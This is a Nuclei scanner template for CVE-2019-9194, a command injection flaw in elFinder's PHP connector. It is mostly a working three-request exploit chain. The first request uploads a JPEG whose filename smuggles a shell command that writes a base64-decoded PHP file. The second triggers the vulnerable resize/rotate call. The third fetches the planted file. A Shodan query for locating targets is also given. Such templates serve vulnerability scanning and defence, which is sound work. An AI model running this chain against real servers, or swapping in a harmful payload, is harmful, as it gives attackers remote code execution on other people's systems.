id: CVE-2019-9194

info:
  name: elFinder <= 2.1.47 - Command Injection
  author: r00tuser111
  severity: critical
  description: |
    elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.
    The vulnerability occurs when performing image operations on JPEG files, where the filename
    is passed to the `exiftran` utility without proper sanitization, allowing command injection.
  reference:
    - https://www.exploit-db.com/exploits/46481
    - https://www.exploit-db.com/exploits/46539/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9194
    - https://github.com/cved-sources/cve-2019-9194
    - https://github.com/Studio-42/elFinder/releases/tag/2.1.48
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9194
    cwe-id: CWE-78
    epss-score: 0.90663
    epss-percentile: 0.99619
  metadata:
    verified: true
    max-request: 3
    vendor: studio-42
    product: elfinder
    shodan-query: 'http.title:"elfinder"'
  tags: cve,cve2019,elfinder,rce,intrusive,file-upload

variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'
  file_name: '{{to_lower(rand_text_alpha(6))}}'
  php_cmd: "<?php echo md5('{{file_name}}');unlink(__FILE__);?>"
  payload: "{{rand_string}}.jpeg;echo {{base64(php_cmd)}} | base64 -d > {{file_name}}.php;echo {{rand_string}}.jpeg"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /php/connector.minimal.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="cmd"

        upload
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="target"

        l1_Lw
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="upload[]"; filename="{{payload}}"
        Content-Type: image/jpeg

        {{hex_decode("ffd8ffe000104a46494600010101006000600000ffed003850686f746f73686f7020332e30003842494d040400000000001c1c027400101c020000020004fffe003b43524541544f523a2067642d6a7065672076312e3020287573696e6720494a47204a50454720763830292c207175616c697479203d2038320affdb0043000604040504040605050506060607090e0909080809120d0d0a0e1512161615121414171a211c17181f1914141d271d1f2223252525161c292c28242b21242524ffdb00430106060609080911090911241814182424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424ffc000110800c0010603012200021101031101ffc4001f")}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    extractors:
      - type: json
        part: body
        name: hash
        internal: true
        json:
          - '.added[0].hash'

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'added', 'hash')"
        internal: true

  - raw:
      - |
        GET /php/connector.minimal.php?target={{hash}}&degree=180&mode=rotate&cmd=resize HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
        condition: and
        internal: true

  - raw:
      - |
        GET /php/{{file_name}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(file_name)}}")'
# digest: 4a0a00473045022100c2ecfaa9896edd590767b09da30a2ebdcdddcea35a58894c6663fb4d206450ec022038676d9871df164ca6c5f2033ab048212b9baf0cfe2b15d3c759ab33c6f1f990:922c64590222798bb761d5b6d8e72950